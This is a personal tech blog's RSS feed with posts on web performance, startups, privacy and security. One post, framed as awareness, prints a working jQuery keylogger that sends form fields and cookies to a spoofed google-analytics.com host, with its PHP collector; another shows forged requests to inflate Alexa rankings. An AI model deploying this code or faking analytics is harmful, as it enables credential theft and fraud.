<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Makl Ndrix</title>
	<atom:link href="http://michaelhendrickx.com/feed" rel="self" type="application/rss+xml" />
	<link>http://michaelhendrickx.com</link>
	<description>may contain traces of nuts</description>
	<lastBuildDate>Thu, 17 May 2012 21:03:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Use sprites to speed up your website</title>
		<link>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html</link>
		<comments>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html#comments</comments>
		<pubDate>Thu, 17 May 2012 20:55:26 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=567</guid>
		<description><![CDATA[To make your website perform faster, few things can be done serverwise, some can be done client wise. Aside from Javascript and CSS minifying, an often overlooked item are the creation of sprites. Sprites, are &#8220;combined images&#8221; of your images. On places.ae, we use many small icons which add up to multiple downloads of images [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/05/sprite.jpeg" alt="" title="sprite" width="201" height="201" class="alignright size-full wp-image-569" align="right"/>To make your website perform faster, few things can be done serverwise, some can be done client wise.  Aside from Javascript and CSS minifying, an often overlooked item are the creation of <em>sprites</em>.  Sprites, are &#8220;combined images&#8221; of your images.  </p>
<p>On places.ae, we use many small icons which add up to multiple downloads of images on our website.  Every download takes time even though HTTP persistent connections are enabled.  These timings can be minimzed using springs.</p>
<p>First off, we streamlined to use 16&#215;16 pixel icons, so this allows us to make a nice square with several area&#8217;s of 16 by 16 pixels.  Using GIMP you can help by enable the grid view, and setting the grid (in Image -> Configure grid) to 16 by 16 pixels, or 8 by 8, to determine the middle easier.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/05/sprites.png" alt="" title="sprites" width="427" height="256" class="aligncenter size-full wp-image-568" /> </p>
<p>By adding all our icons into this image, we can reference to them using CSS:</p>
<p><code><br />
/* sprite images */<br />
.sprite {<br />
  background: url(/images/sprite.png) no-repeat;<br />
  width: 16px;<br />
  height: 16px;<br />
  float: left;<br />
  margin-right: 10px<br />
}</p>
<p>.img_warning { background-position: 0px 0px }<br />
.img_location { background-position: -16px 0px }<br />
.img_phone { background-position: -32px 0px }<br />
.img_web { background-position: -48px 0px }<br />
.img_fax { background-position: -64px 0px }<br />
.img_menu { background-position: -80px 0px }<br />
.img_dollar { background-position: -96px 0px }<br />
.img_calendar { background-position: -112px 0px }<br />
.img_search { background-position: -128px 0px }<br />
.img_close { background-position: -128px 0px }</p>
<p>.img_check { background-position: 0px -16px }<br />
.img_error { background-position: -16px -16px }<br />
.img_clock { background-position: -32px -16px }<br />
.img_heart { background-position: -48px -16px }<br />
.img_thumbsup { background-position: -64px -16px }<br />
.img_thumbsdown { background-position: -80px -16px }</code></p>
<p>Finally, in our code, we can eliminate the many &lt;img&gt; tags, and use div&#8217;s:</p>
<p><code>&lt;span class="sprite img_phone" /&gt;</code></p>
<p>Many may know this already, but I wanted to share this quick and easy introduction to sprites.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why this kolaveri 3?  Living up to the hype.</title>
		<link>http://michaelhendrickx.com/201205_why-this-kolaveri-3.html</link>
		<comments>http://michaelhendrickx.com/201205_why-this-kolaveri-3.html#comments</comments>
		<pubDate>Mon, 14 May 2012 06:23:32 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=560</guid>
		<description><![CDATA[A few days ago, I read a post where the founder of the video and photo sharing application Color gives feedback on the much talked about 1 Billion dollar Instagram buyout. Color came little over a year ago, creating great promises towards sharing pictures with your fellow nearby smartphone users; rather than facebook&#8217;s lame and [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/05/hype.jpeg" alt="" title="hype" width="195" height="258" class="alignright size-full wp-image-561" align="right" />A few days ago, I read <a href="http://www.fastcompany.com/1837096/the-startup-scarlet-letter" title="Fast Company: The Startup Scarlet" target="_blank">a post</a> where the founder of the video and photo sharing application <a href="http://www.color.com/" target="_blank">Color</a> gives feedback on the much talked about 1 Billion dollar Instagram <a href="http://www.suntimes.com/technology/ihnatko/11819998-452/why-is-instagram-worth-1-billion-to-facebook-and-zuckerberg.html" target="_blank">buyout</a>.  </p>
<p>Color came little over a year ago, creating great promises towards sharing pictures with your fellow nearby smartphone users; rather than facebook&#8217;s <a href="http://www.timesofmalta.com/articles/view/20110327/business/new-startup-color-builds-community-with-photos.356765" target="_blank">lame and weird single perspective</a> on life.</p>
<p>Fast forward a year, and unlike color, Instagram became a hot entrepreneurial topic; how can a iOS-only photo sharing application be acquired for 10 digits.  It seems the latter remained humble and focused on the product, refrained from passing to many negative comments and so on, and it created a nice product, rather than creating a hype.  </p>
<p>Another hype phenomenon can be seen in the indian tamilian movie 3, the movie of the internet meme &#8220;Kolaveri D&#8221;.  Although the tamil song created a large hype, the movie seemed to be <a href="http://www.tamilstar.com/news-id-rajini-movie-3-flop-17-04-121985.htm" target="_blank">less successful</a>.  Much different to color, there was no arrogance or anything; the movie simply didn&#8217;t live up to the hype.  </p>
<p>The iPhone 4S was a bit of a let down, not because it is a bad device, yet the world was expecting an iPhone 5.  It  (the world) created a hype.</p>
<p>Although I&#8217;m not really in any position to say how to run your business, but ease down on the hype.  Create a kick-ass product, the hype will just be substituted by word of mouth.  And that&#8217;s what you want.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201205_why-this-kolaveri-3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to fake it with Alexa?</title>
		<link>http://michaelhendrickx.com/201202_how-to-fake-it-with-alexa.html</link>
		<comments>http://michaelhendrickx.com/201202_how-to-fake-it-with-alexa.html#comments</comments>
		<pubDate>Thu, 16 Feb 2012 00:54:19 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[fun]]></category>
		<category><![CDATA[internet]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=530</guid>
		<description><![CDATA[Many people ask me why their website has a low Alexa rank. Alexa, an Amazon-owned analytics service shows and ranks different websites and can even tell one the audience their website is getting; including gender, education and age groups. The question often remains; How does Alexa work? Do they monitor the entire Internet? The answer [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/01/alexa.jpg" alt="" title="alexa" width="220" height="124" class="alignright size-full wp-image-533" align="right" />Many people ask me why their website has a <em>low Alexa rank</em>.  Alexa, an Amazon-owned analytics service shows and ranks different websites and can even tell one the audience their website is getting; including gender, education and age groups.  The question often remains; <em>How does Alexa work?</em> Do they monitor the entire Internet?</p>
<p>The answer is a lot less mythical; it uses statistics from users who download the Alexa Toolbar (and fill in their gender, education, etc) and visit your website.  It is commonly statistical sampling and has been done for the past <a href=" http://www.howstuffworks.com/question433.htm">60 years for tv shows</a>.</p>
<p>Being an engineer at heart, <em>How does Alexa work?</em>  A little analysis at hand.  Furthermore, with some scripting, you can boost your Alexa ratings quite a bit.<span id="more-530"></span></p>
<p>When the <a href="http://www.alexa.com/toolbar" title="Alexa Toolbar">Alexa toolbar</a> is downloaded, it creates a random 14 character identifier which identifies you as a unique user.  The toolbar installation requires you to fill out some demographics, being gender, age group, race and so on.  The unique identifier is replaced hereafter by: &lt;RANDOM ID&gt;</p>
<pre>
POST /php/demographics/index.php HTTP/1.1
Host: www.alexa.com
Referer: http://www.alexa.com/toolbar/success?session=&lt;RANDOM ID&gt;&#038;plugin=alxf-2.14
Cookie: aid=&lt;RANDOM ID&gt;
Content-Type: application/x-www-form-urlencoded

amzn_id=&#038;aid=&lt;RANDOM ID&gt;&#038;browser=ff&#038;plugin=alxf-2.14&#038;gender=2&#038;age=35-44&#038;
income=60-90k&#038;ethnicity=African+American&#038;education=College&#038;has_children=n&#038;
install_location=work&#038;zip=90210&#038;version=6.5
</pre>
<p>This creates the demographics for a chosen &lt;RANDOM ID&gt;.  You have a now a user <em>&#8220;created&#8221;</em> in the system which you can use for further data mining.  </p>
<p>Subsequent requests, when somebody visits your website are done in form of GET requests to data.alexa.com, where clicks  are recorded.  The full URL is as follows:</p>
<pre>http://data.alexa.com/data/&lt;RANDOM ID&gt;?cli=10&#038;ver=alxf-2.14&#038;dat=ns&#038;
cdt=rq%3D11%26wid%3D13021%26s%3D200%26ttl%3D1000&#038;ref=http%3A%2F%2Fwww.referer.com%2F&#038;
url=http%3A%2F%2Fwww.yoursite.com%2Fdir%2Ffile.html</pre>
<p>This request &#8220;logs&#8221; a request to www.yoursite.com/dir/file.html, coming from www.referer.com.  It collects a few timestamp data as well to track how long users stay on your webpages, etc.</p>
<p>In essence, a web master could forge requests to this URL (in a &lt;img&gt; tag for example) to boost his/her site&#8217;s reputation on Alexa.  To create a better varied audience, one could create several new &#8220;id&#8217;s&#8221; &#8211; dynamically using a script that performs the HTTP POST on the demographics gathering page  &#8211; and include small html snippets to make ones site more popular.  On top of this, knowing you can create your demographics, you can -virtually- make your site a lot more popular with a particulr gender, age group, race, etc.</p>
<p>In the end, you&#8217;re still serving your pages to users, it won&#8217;t attract any further visitors.  You&#8217;re just faking that more users who visit your website also report this to Alexa &#8211; without them installing any toolbar.  </p>
<p>Thank you,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201202_how-to-fake-it-with-alexa.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Android Ipad</title>
		<link>http://michaelhendrickx.com/201201_the-android-ipad.html</link>
		<comments>http://michaelhendrickx.com/201201_the-android-ipad.html#comments</comments>
		<pubDate>Tue, 24 Jan 2012 06:46:28 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[fun]]></category>
		<category><![CDATA[misc]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[fake]]></category>
		<category><![CDATA[ipad]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=537</guid>
		<description><![CDATA[A fake, android powered iPad in Dragon Mart.]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/01/android-ipad.jpg" /></p>
<p>A fake, android powered iPad in <a href="http://www.places.ae/show/8047-dragon-mart" target="_new">Dragon Mart</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201201_the-android-ipad.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privacy in a widgeted world</title>
		<link>http://michaelhendrickx.com/201111_privacy-in-a-widgeted-world.html</link>
		<comments>http://michaelhendrickx.com/201111_privacy-in-a-widgeted-world.html#comments</comments>
		<pubDate>Mon, 28 Nov 2011 23:46:34 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=519</guid>
		<description><![CDATA[The Internet as we use it today, has very little privacy left. We all say that Facebook and Google know &#8220;too much&#8221;, only to realise that they don&#8217;t know anything aside from what we feed them, or do they? Welcome the &#8220;widget&#8221;. A piece of html (with css, javascript..) to be included in another page, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/11/peek.jpg" alt="" title="peek" width="112" height="168" class="alignright size-full wp-image-520" align="right" />The Internet as we use it today, has very little privacy left.  We all say that Facebook and Google know &#8220;too much&#8221;, only to realise that they don&#8217;t know anything aside from what we feed them, or do they?</p>
<p>Welcome the &#8220;widget&#8221;.  A piece of html (with css, javascript..) to be included in another page, often to socially spread content (<a href="https://developers.facebook.com/docs/reference/plugins/like/">Facebook Like</a>, <a href="http://www.google.com/+1/button/">Google +1</a>, <a href="http://developer.linkedin.com/plugins/share-button">LinkedIN share</a>, etc), or other added value (<a href="http://www.google.com/analytics/">Analytics</a>, sharing, etc) will tell many &#8220;providers&#8221; what content you are accessing.</p>
<p>It is difficult now to find a popular page without any widgets.  Pages pack &#8220;like&#8221; buttons, &#8220;share this&#8221; widgets or <em>tweet</em> options to give you a instant way of sharing their content in your social network &#8211; banking on good &#8216;ole word of mouth marketing.  If your friends like something, you might be interested also, even if it was only for peer pressure.</p>
<p>The problem that when something (such as the widget) is requested, browser data (such as your session&#8217;s information and the referer) also flow to the widget provider&#8217;s webserver.  This provider will know what page you&#8217;re on and usually who you are (assuming you stay logged in into google, twitter, facebook, etc)</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/11/ww.jpg" alt="" title="ww" width="591" height="162" class="aligncenter size-full wp-image-521" align="center"/></p>
<p>Thinking &#8220;but if I <em>like</em> a page, facebook will know it <em>anyways</em>&#8220;.  This is true; the problem lies in the fact that providers know you&#8217;re accessing a page, regardless of performing any action (liking, sharing, etc).  If you read X number of pages on a new model smartphone, chances are big you want to buy another one &#8211; and targeted ads become more&#8230; <em>targeted</em>.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/11/mag.jpeg" alt="" title="mag" width="194" height="200" class="alignright size-full wp-image-526" align="right"/>From that advertising point of view, it creates mixed feelings.  It&#8217;s like somebody overlooking your shoulder while you&#8217;re reading a magazine and changes the ads accordingly to which article you were staring at longer.</p>
<p>From a website owner point of view, this does create added value.  If you can convince to have websites publish your widget code, you can track people&#8217;s interests, even before they ever came to your website.  This (unidentifiable) user eventually ends up on your web app, identifies him/her self and you have great information.  I&#8217;m just not sure how ethical this is, and even though Facebook&#8217;s <em>outdated</em> <a href="https://eff.org/r.H7t">law enforcement guidelines</a> don&#8217;t hold &#8220;webpages visited&#8221; in particular, they would have access to it.</p>
<p>Is this such a bad thing?  Perhaps.  &#8220;Widget providers&#8221; offer added value to website owners, who in turn decide what goes into their webpages.  Vague idea, but maybe a browser extension could prevent the loading of these widgets, replacing them with a pseudo equivalent (fake buttons, etc) and only dynamically load the target script upon a click? </p>
<p>Food for thought.  Now, look at the buttons below, they know you&#8217;ve been here already.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201111_privacy-in-a-widgeted-world.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rails, what&#8217;s wrong with serving static JS and CSS files?</title>
		<link>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html</link>
		<comments>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html#comments</comments>
		<pubDate>Tue, 04 Oct 2011 21:40:32 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=507</guid>
		<description><![CDATA[For a new web project, I&#8217;ve been looking at Rails 3.1, the latest update of the popular Ruby on Rails web application framework. Although I just started on it, and haven&#8217;t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an asset [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/10/jabba.jpeg" alt="" title="jabba" width="115" height="114" class="alignright size-full wp-image-509" align="right" />For a new web project, I&#8217;ve been looking at <a title="Ruby on Rails" href="http://rubyonrails.org/">Rails 3.1</a>, the latest update of the popular Ruby on Rails web application framework.</p>
<p>Although I just started on it, and haven&#8217;t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an <a href="http://edgeguides.rubyonrails.org/asset_pipeline.html">asset pipeline</a>.</p>
<p>In a nutshell, since I&#8217;m doing the JQuery bit of the site now, wouldn&#8217;t it make much more sense to fetch the libraries from CDN&#8217;s, cache the remaining recurring libraries in Nginx (or Apache), and leaving the page specific bits in one big &lt;script&gt; tag, instead of pushing all in a bloated application.js page?</p>
<p>Then again, although I think Rails was what the web community needed, I always had <a href="http://michaelhendrickx.com/200907_are-web-frameworks-really-worth-it.html">my ideas</a> about frameworks.</p>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JQlog: JQuery Keylogger, or why not to trust your proxy admin.</title>
		<link>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html</link>
		<comments>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html#comments</comments>
		<pubDate>Mon, 06 Jun 2011 07:55:13 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jkeylog]]></category>
		<category><![CDATA[jqlog]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[key logger]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=453</guid>
		<description><![CDATA[Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools. The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can [...]]]></description>
			<content:encoded><![CDATA[<div style="color:#808080;padding:5px 20px">
<em>Note that this post is for awareness and educational purposes only.  I do not encourage, and cannot be held responsible for malicious actions using these tools.</em></div>
<p>The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites.  Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page.  Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, &#8230;).  It&#8217;s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.</p>
<p>&#8220;Overwriting&#8221; javascript libraries, or rather &#8220;inserting javascript&#8221; can be done in several ways.  Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and &#8220;fake&#8221; the ga.js javascript file.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/06/jq2.jpg" alt="" title="jq(2)" width="627" height="223" class="aligncenter size-full wp-image-459" /></p>
<p>For this, you&#8217;d need only 2 files:</p>
<ul>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>Javascript keylogger</a></li>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>PHP backend script</a></li>
</ul>
<p>This javascript file, found <a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>here</a>, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself: <span id="more-453"></span></p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});</pre>
</div>
<p>Upon a &#8220;form submit&#8221; event, the current URL, the current cookie and all the page &lt;input&gt; fields are stored in a JSON object.  This is Base64 encoded and passed on to a defined URL (<strong>http://www.google-analytics.com/dump.php?a=</strong> in this above case).</p>
<div style="color:#808080;padding:10px 20px">
<em>Functions such as $.ajax() or $.post() would not work due to cross-domain limitations.  Henceforth, I used $.getScript to pass on the data to an external URL.  </em>
</div>
<p>The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case.  This script (<a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>here</a>) stores the current date, and a dump of all passed on variables in a defined text file.</p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>
  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);
</pre>
</div>
<p>Since it decodes a JSON object, dump.php will require JSON support, this can be installed using <a href="http://pear.php.net/">pear</a>.  Debian, it&#8217;s done using the following:</p>
<pre>
  apt-get install php-pear
  pear install Services_JSON</pre>
<p>To verify this, you will see a JSON entry in the phpinfo() output.</p>
<p>When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all &lt;form&gt; submits should be recorded in the text file, in the form of:</p>
<pre style="padding-left:20px">
on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
<strong>name : user
pass : secret1552</strong>
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :
</pre>
<p>No, this is no hack against Google Analytics or 7days, the latter is  something that would <a href="http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html">look slightly different</a>.  <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Although this example uses Google Analytics, it could be used for many other &#8220;popular&#8221; javascripts that are included in terms of widgets.  The handy things about Google Analytics is that it&#8217;s invisible to the user whether it is loaded or not.  </p>
<p>Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them.  Always make sure you can trust your proxy administrators.</p>
<p>Thank you,<br />
Michael</p>
<p>PS: these scripts are far from perfect, they don&#8217;t trap XHR requests and many other things, but it gets the point across.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>7days meta refresh hack</title>
		<link>http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html</link>
		<comments>http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html#comments</comments>
		<pubDate>Wed, 27 Apr 2011 05:35:15 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=445</guid>
		<description><![CDATA[The 7 days newspaper was subject to a &#8220;meta refresh&#8221; hack earlier today, yet it seems to be fixed already. When going to any link, it would point to the following page: It seems to be hacked by a particular W0LF Gh4m3d, a person who does several defacements without any political agenda. One of his/her [...]]]></description>
			<content:encoded><![CDATA[<p>The 7 days newspaper was subject to a &#8220;meta refresh&#8221; hack earlier today, yet it seems to be fixed already.  When going to any link, it would point to the following page:</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/04/7days.jpg" alt="" title="7days" width="217" height="206" /></p>
<p>It seems to be hacked by a particular <a href="http://www.zone-h.org/archive/notifier=w0LF%20GH4M3D">W0LF Gh4m3d</a>, a person who does several defacements without any political agenda.  One of his/her hcks was &#8220;www.wijnabonnement.nl &#8220;, which actually translates into <em>wine subscription</em>, not a good thing putting a Saudi Arabian flag on there, is it?</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Kriesi_image_preloader won&#8217;t load in IE / Opera</title>
		<link>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html</link>
		<comments>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html#comments</comments>
		<pubDate>Wed, 13 Apr 2011 05:24:01 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=434</guid>
		<description><![CDATA[A friend of mine is using the Newscast for his blog. It is a great looking theme that has an image preloader written in JQuery. It was all looking good in Firefox, but wasn&#8217;t displaying properly in IE and Opera. The javascript fails around line 60 in themes/TFnewscast/js/custom.js: jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader}); This can be fixed by [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/04/loading-icon.gif" alt="" title="loading-icon" width="150" height="120" class="alignright size-full wp-image-438" align="right" />A friend of mine is using the <a href="http://www.kriesi.at/archives/newscast-premium-magazine-and-blog-html-template">Newscast</a> for his <a href="http://juliussuralta.com">blog</a>.  It is a great looking theme that has an image preloader written in JQuery.  It was all looking good in Firefox, but wasn&#8217;t displaying properly in IE and Opera.</p>
<p>The javascript fails around line 60 in <strong>themes/TFnewscast/js/custom.js</strong>:</p>
<p><code>jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});</code></p>
<p>This can be fixed by surrounding it with a if statement that verifies that you&#8217;re not running IE nor opera:<br />
<code><br />
if(!(jQuery.browser.opera || jQuery.browser.msie)){<br />
&nbsp;&nbsp;jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});<br />
}</code></p>
<p>And that should do it.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Widgets or IFrame hacks, how would we know?</title>
		<link>http://michaelhendrickx.com/201101_widgets-or-iframe-hacks-how-would-we-know.html</link>
		<comments>http://michaelhendrickx.com/201101_widgets-or-iframe-hacks-how-would-we-know.html#comments</comments>
		<pubDate>Thu, 13 Jan 2011 06:20:46 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=423</guid>
		<description><![CDATA[A particular aspect in IT security is injecting malware into websites. Often leading to so-called &#8220;drive by downloads&#8220;. This malware is often inserted due to a browser vulnerability which gets executed by, say, Javascript. The latter is usually &#8220;inserted&#8221; in a legitimate website using a hidden &#60;IFRAME&#62; tag or similar. How can this be stopped? [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/01/bug.jpeg" alt="" title="bug" width="153" height="152" align="right" class="alignright size-full wp-image-424" />A particular aspect in IT security is injecting malware into websites.  Often leading to so-called &#8220;<a href="http://en.wikipedia.org/wiki/Drive-by_download">drive by downloads</a>&#8220;.  This malware is often inserted due to a browser vulnerability which gets executed by, say, Javascript.  The latter is usually &#8220;inserted&#8221; in a legitimate website using a hidden &lt;IFRAME&gt; tag or similar.</p>
<p>How can this be stopped?  Modern websites include, because of widgets, several external Javascripts onto their own sites.  When going to the gadget popular website <strong><a href="http://engadget.com">engadget.com</a></strong>, a total of 17 hosts are contacted&#8230; <span id="more-423"></span></p>
<ul>
<li>engadget.com</li>
<li>blogsmithmedia.com</li>
<li>o.aolcdn.com</li>
<li>platform.twitter.com</li>
<li>b.engadget.com</li>
<li>o.sa.aol.com</li>
<li>h.scorecardresearch.com</li>
<li>blogcdn.com</li>
<li>platform0.twitter.com</li>
<li>urls.api.twitter.com</li>
<li>platform.twitter.com</li>
<li>aolcdn.com</li>
<li>facebook.com</li>
<li>engadget2.disqus.com</li>
<li>static.ak.fbcdn.net</li>
<li>mediacdn.disqus.com</li>
<li>disqus.com</li>
</ul>
<p>Wouldn&#8217;t it be easier for an attacker to -perhaps- perform DNS poisoning to take over one of these hostnames, to include javascripts in multiple websites?  With the [like] buttons, [retweet] buttons and [addthis] widgets, one could target many websites all at once.</p>
<p>Stopping this is partially performed by browsers, such as Firefox&#8217;s &#8220;this site downloads contents from xxxx.com, which contains malicious material&#8221;, but that&#8217;s only after a website is labelled as malicious.  Could there be an answer where websites follow a &#8220;trusted list&#8221; (where sites register the widgets they use) type of model?  </p>
<p>Just wondering on a thursday morning.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201101_widgets-or-iframe-hacks-how-would-we-know.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

